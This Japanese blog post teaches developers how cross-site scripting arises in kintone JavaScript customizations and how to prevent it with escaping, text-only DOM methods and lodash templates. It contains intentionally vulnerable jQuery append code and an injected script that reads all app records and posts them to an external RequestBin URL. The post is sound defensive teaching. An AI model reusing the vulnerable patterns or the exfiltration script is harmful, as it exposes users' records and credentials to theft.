はじめに
11/7に行われた「kintone evaCamp」において「kintone JSコーディングの玄人化を目指して」というタイトルでお話しさせて頂きましたが、「実践!セキュアコーディング」のパートに対して後から質問等も頂いたりしたので、当日準備していたデモをこの場を借りて紹介させて頂きつつ、再度取り上げ直したいと思います。
kintone JavaScriptカスタマイズでは「セキュアコーディングガイドライン」というものが公開されていますが、その中でも今回は**「クロスサイトスクリプティング」**に注目し、何がマズくてどう対策すべきかをまとめ直します。今回は次のような実践を通して理解を深めたいと思います。
- 実際にkintoneでクロスサイトスクリプティングを発生させる
- 起きた際の脅威ケースを具現化する
そして、その中で注意点・対策をご紹介したいと思います。
クロスサイトスクリプティング
クロスサイトスクリプティングとは
クロスサイトスクリプティング(Cross-Site Scripting、XSS)とは、Webサイト訪問者の入力をもとに画面を動的に生成して表示するプログラムが、閲覧者のWebブラウザーに悪意あるコードを送信してしまう脆弱性のこと(「セキュアコーディングガイドライン」より)。
kintoneで起きうるXSS誘発ケース
kintoneでXSSが起きうるのはどのようなカスタマイズを行なった場合でしょうか。
- kintoneユーザーが設定できる値を使って要素を作るケース
- 従来のJavaScriptコーディングに起きうるケース
具体的なケースを挙げてみたいと思います。1.と2.が前者のケース、3.が後者のケースに該当します。
- フィールドのラベルにスクリプトが仕込まれる
- レコードのフィールドの値にスクリプトが仕込まれる
- カスタマイズで足したテキストボックスにスクリプトが入力される
kintoneでXSSを起こしてみる
先の誘発ケースごとに実際にXSSを起こしてみます。ポイントは、発生原因と発生タイミングです。
1. フィールドのフィールド名にスクリプトが仕込まれる
フィールドのフィールド名を使ってドロップダウンメニューを作るというものです。
用例 | 原因 | タイミング |
---|---|---|
プラグインの設定画面を作成する時等によく利用される | フィールドのフィールド名 |
select 要素にappend した時 |
/*
* global.$ (jQuery)
* css: 51-modern-default.css
*/
jQuery.noConflict();
(function ($) {
'use strict';
kintone.events.on(['app.record.index.show'], function (event) {
// フィールド情報からセレクトボックスを生成
var $select1 = $('<div class="kintoneplugin-select-outer"><div class="kintoneplugin-select"><select id="select1"></select></div></div>');
$(kintone.app.getHeaderMenuSpaceElement()).append($select1);
kintone.api(kintone.api.url('/k/v1/preview/app/form/fields', true), 'GET', {
app: kintone.app.getId()
}).then(function (r) {
var props = r.properties;
Object.keys(props).forEach(function(prop){
var field = props[prop];
$('#select1').append('<option value="' + field.label + '">' + field.label + ' [' + field.type + '/' + field.code + ']' + '</option>');
});
}).catch(function (e) {
console.log(e);
});
return event;
});
})(jQuery);
このカスタマイズの結果はこのようになります。フィールド名に仕込まれたスクリプトが実行されてしまいました。
2. レコードのフィールドの値にスクリプトが仕込まれる
フィールドの値を使ってドロップダウンメニューを作るというものです。
用例 | 原因 | タイミング |
---|---|---|
マスタアプリからレコードを取得し一覧もしくは詳細画面のヘッダにドロップダウンメニューを設置する時等によく利用される | フィールドの値 |
select 要素にappend した時 |
/*
* global.$ (jQuery)
* css: 51-modern-default.css
*/
jQuery.noConflict();
(function ($) {
'use strict';
kintone.events.on(['app.record.index.show'], function (event) {
// レコードのフィールド値からセレクトボックス生成
var $select2 = $('<div class="kintoneplugin-select-outer"><div class="kintoneplugin-select"><select id="select2"></select></div></div>');
$(kintone.app.getHeaderMenuSpaceElement()).append($select2);
kintone.api(kintone.api.url('/k/v1/records', true), 'GET', {
app: kintone.app.getId()
}).then(function (r) {
var records = r.records;
records.forEach(function(record){
$('#select2').append('<option value="' + record.名前.value + '">' + record.名前.value + '</option>');
});
}).catch(function (e) {
console.log(e);
});
return event;
});
})(jQuery);
このカスタマイズの結果はこのようになります。フィールドに保存された値に仕込まれたスクリプトが実行されてしまいました。
3. カスタマイズで足したテキストボックスにスクリプトが入力される
テキストボックスを設置し、入力値を別の要素に追加するという記述です。
用例 | 原因 | タイミング |
---|---|---|
カスタマイズで日付や検索語句を入力するためにテキストボックスを設置する | テキストボックスへの入力値 | ヘッダ要素にappend した時 |
/*
* global.$ (jQuery)
* css: 51-modern-default.css
*/
jQuery.noConflict();
(function ($) {
'use strict';
kintone.events.on(['app.record.index.show'], function (event) {
// 値をヘッダにappendするテキストボックス生成
var $input1 = $('<div class="kintoneplugin-input-outer"><input id="input1" class="kintoneplugin-input-text" type="text"></div>');
$(kintone.app.getHeaderMenuSpaceElement()).append($input1);
var $button1 = $('<button id="button1" class="kintoneplugin-button-dialog-ok">XSS from input</button>').css({
'vertical-align': 'top'
});
$(kintone.app.getHeaderMenuSpaceElement()).append($button1);
$('#button1').click(function(){
$(kintone.app.getHeaderMenuSpaceElement()).append(
$('#input1').val()
);
});
return event;
});
})(jQuery);
このカスタマイズの結果はこのようになります。ボタンクリックに伴うappend
時に、input
要素に入力されたスクリプトが実行されてしまいました。
kintoneでXSSを起こしてみての考察
次のような分類を行なっていましたが、気をつけるべきは、ユーザー入力値が格納される変数がelement.innerHTML
、$(element).html()
、$(element).append()
の内容に含まれているかということになります。
- kintoneユーザーが設定できる値を使って要素を作るケース
- 従来のJavaScriptコーディングに起きうるケース
前者の中では、次のものが(APIで取得可能な)ユーザー入力・設定値になります。特に注意すべきは、フィールドの値でしょう。他は設定値ですので、それぞれの管理権限を有するユーザーに操作者が限られるためです。他方、フィールドの値はkintoneのアカウントを有するユーザー以外にも連携サービスを通して第3者が入力することを想定しておく必要があります。
- フィールドの値
- フィールドのフィールド名
- プロセス管理のステータス名
- ユーザー/組織/グループ名の表示名
クロスサイトスクリプティングの脅威
ここまでクロスサイトスクリプティングが起きる原因を見てきましたが、ここでkintoneで起きる脅威を見ていきましょう。
- kintoneをAPI経由で操作されてしまう
- CookieやWebStorageを操作されてしまう
- 画面操作されてしまう
どれもまさに脅威ですが、ひとつづつ深掘りしていきましょう。
1. kintoneをAPI経由で操作されてしまう
kintoneのAPI操作は多岐に渡りますが、取得だけでなく書き換え含めて、攻撃者からしても一通り操作できてしまうことになります。
- レコード
- アプリ
- ステータス
- スペース
- ユーザー/グループ/組織
cybozu.comにユーザーインポートAPIといったものもありますので、ユーザー作成なんてこともやられかねません。初期パスワードが設定できてしまうので、kintoneにログインされるすごく直接的な脅威です。
あとは、kintoneの情報を盗み出されるなんてことも。例えば次のコードが仕込まれたとするとします。レコード情報を取得されて、その内容を外部にAPIを通して送られてるといったケースです。
本当は攻撃のためのサンプルコードなんて書かないほうがいいのですが、学習効果を高めるために、RequestBinで払い出したURLをurl
に指定して試してみたいと思います。
<script>
kintone.api('/k/v1/records', 'GET', {
app:kintone.app.getId()
}).then(function(r){
var url = 'https://requestb.in/wnupuewn';
var method = 'POST';
var headers = {};
var params = JSON.stringify(r);
return kintone.proxy(url, method, headers, params);
}).catch(function(e){
console.log(e);
});
</script>
結果イメージは次の通りです。見事にkintoneのレコード情報を取得されてしまいました。
2. CookieやWebStorageを操作されてしまう
CookieやWebStorage、kintoneのJavaScriptカスタマイズでも使われている方多いと思います。
XSSが起きたら、CookieやWebStorageも取得・書き換えによって、
- CookieやWebStorageの改ざん
- 認証情報漏洩
等の脅威につながっていきます。これはユーザーとして被る脅威ですが、カスタマイズする側として注意して起きたいのは、IDやパスワード等の認証情報をそのまま保存しちゃってるカスタマイズないでしょうか?極力認証情報をCookieやWebStorageに入れない(入れるならそれに対する対策)ようにするのがいいでしょう。
3. 画面操作されてしまう
JavaScriptで画面を変更されたい放題になります。(ちょっと込み入りますが、)kintoneのUIに似せた別ページに書き込みを行わせられたり、input
要素の値を1.のような方法で送信させられたり、といったこともやられかねません。
クロスサイトスクリプティングの脅威ケース
kintoneで起きうる脅威ケースを想定してみましょう。
- XSS対策不十分なカスタマイズやプラグインを設定したkintoneアプリがある
- kintoneアプリにフォームを通じて、攻撃者がスクリプトをレコード情報として登録する
- レコード情報を使ったカスタマイズやプラグインで、入力値に対するXSS対策がなされていなかったために、XSS発生
カスタマイズやプラグインがXSS対策されていれば、kintoneユーザーはこのような脅威に晒されることはありませんので、コードを書く人はやはり注意しておく必要があります。
クロスサイトスクリプティングへの対策
ということで、対策方法を述べていきましょう。まず、セキュアコーディングガイドラインには、次のような内容が挙げられています。
- 出力する全ての要素に対して、エスケープ処理を施す
- 出力するURLは「http://」または 「https://」で始まるURLだけにする
- 外部からの入力値を使用した要素の生成は避ける
- 外部からの入力値を使用したスタイルシートの生成は避ける
- 信頼できない外部サイトに置かれた JavaScript や CSS を読み込まない
外部からの入力値と出力に注意を払うことが示唆されていますが、言っていることはここまで私が述べてきたことと本質は同じです。また、一般的によく言われる内容としては、次のような内容かと思います。
- HTMLエスケープする
- そもそもHTMLエスケープしなくても安全になるような書き方をする
-
element.textContent
、$(element).text()
、$(element).val()
を使う -
element.innerHTML
、$(element).html()
、$(element).append()
を使わない
-
- aタグの生成時にはHTMLエスケープに加えてencodeURIComponentも必要
ここからはエスケープに注目して、主な方法をそれぞれ見ていきます。
HTMLエスケープ処理
一般的によく言われる方法ですが、次のような関数を定義しておき、入力値を利用する際に全てこの関数を使うようにする方法です。エスケープのポイントはappend
等出力時に行うことです。入力値を格納する際にエスケープしてしまっては、情報が壊れてしまいます。
function escapeHtml (string) {
if (typeof string !== 'string') {
return string;
}
return string.replace(/[&'`"<>]/g, function (match) {
return {
'&': '&',
"'": ''',
'`': '`',
'"': '"',
'<': '<',
'>': '>'
}[match];
});
}
そもそもHTMLエスケープしなくても安全になるような書き方
-
element.textContent
、$(element).text()
、$(element).val()
を使う -
element.innerHTML
、$(element).html()
、$(element).append()
を使わない
これは関数の使い分けをしっかり行うという意味が強いですが、要素の挿入とテキストの挿入をしっかり区別し、テキストの挿入だけでいい部分でいたずらにelement.innerHTML
、$(element).html()
、 $(element).append()
を使ってなければ、XSSが発生しうる確率が落ちるというものです。また、確認やレビュー時に楽ができます。
テンプレートエンジン・フレームワークを利用する
HTMLの生成が大きくなる際にはテンプレートエンジンやフレームワークを利用する方法が考えられます。
- jsRenderのようなテンプレートエンジンの利用する
- 文字通りテンプレート的なHTML生成に向いており、使い方が比較的容易
- jsRenderはガントチャートプラグインでも利用されている
- React、Vue等のフレームワークにはその機能が元々備わっている
- HTMLページ作成のためのフレームワークなので使い方に習熟が必要だが、その分込み入ったHTMLの生成には向いている
- Underscore、lodash等のユーティリティの機能を利用する
- JavaScriptのユーティリティ機能として提供されているものを利用する。比較的利用しやすい
ここでは、「1. フィールドのフィールド名にスクリプトが仕込まれる」で脆弱だった部分をlodashの機能を使ってXSS対策(エスケープ)しつつHTML要素を作成、出力する例をご紹介します。
/*
* global.$ (jQuery)
* global._ (lodash)
* css: 51-modern-default.css
*/
jQuery.noConflict();
(function ($) {
'use strict';
kintone.events.on(['app.record.index.show'], function (event) {
// テンプレートエンジンを使った例
kintone.api(kintone.api.url('/k/v1/preview/app/form/fields', true), 'GET', {
app: kintone.app.getId()
}).then(function (r) {
var props = r.properties;
var string =
'<div class="kintoneplugin-select-outer">'+
' <div class="kintoneplugin-select">'+
' <select id="select2">'+
' <% _.forEach(fields, function(field) { %>'+
' <option value="<%- field.label %>"><%- field.label %> [<%- field.type %>/<%- field.code %>]</option>'+
' <% }); %>'+
' </select>'+
' </div>'+
'</div>';
var html = _.template(string)({fields: props});
$(kintone.app.getHeaderMenuSpaceElement()).append(html);
}).catch(function (e) {
console.log(e);
});
return event;
});
})(jQuery);
適用した結果はこちらです。
XSSが起こることなく、セレクトボックスが生成されています。テンプレート的な書き方によりコードも少しスッキリします。
まとめ
クロスサイトスクリプティングについて、脆弱なコードを実践してみたり、ケースを具体化し、最後に対策方法を述べてみましたが、いかがだったでしょうか? 「kintoneはログインするユーザーしか使わないし注意する必要性は低いんじゃない?」といったことを言われたりするのですが、「クロスサイトスクリプティングの脅威ケース」で挙げたケースのように第3者からの攻撃を受けるルートは存在していますので注意が必要です。
また、自戒も込めてですが、kintone JavaScriptカスタマイズやプラグインの提供にはこういったポイントを注意して取り組まないとユーザーを脅威に晒すことになりますので、コードを書く人はやはり注意しておく必要があると考えます。皆さんが想像されていた以上に脅威は起きるものなんだなぁと再度認識してもらうきっかけになれば幸いです。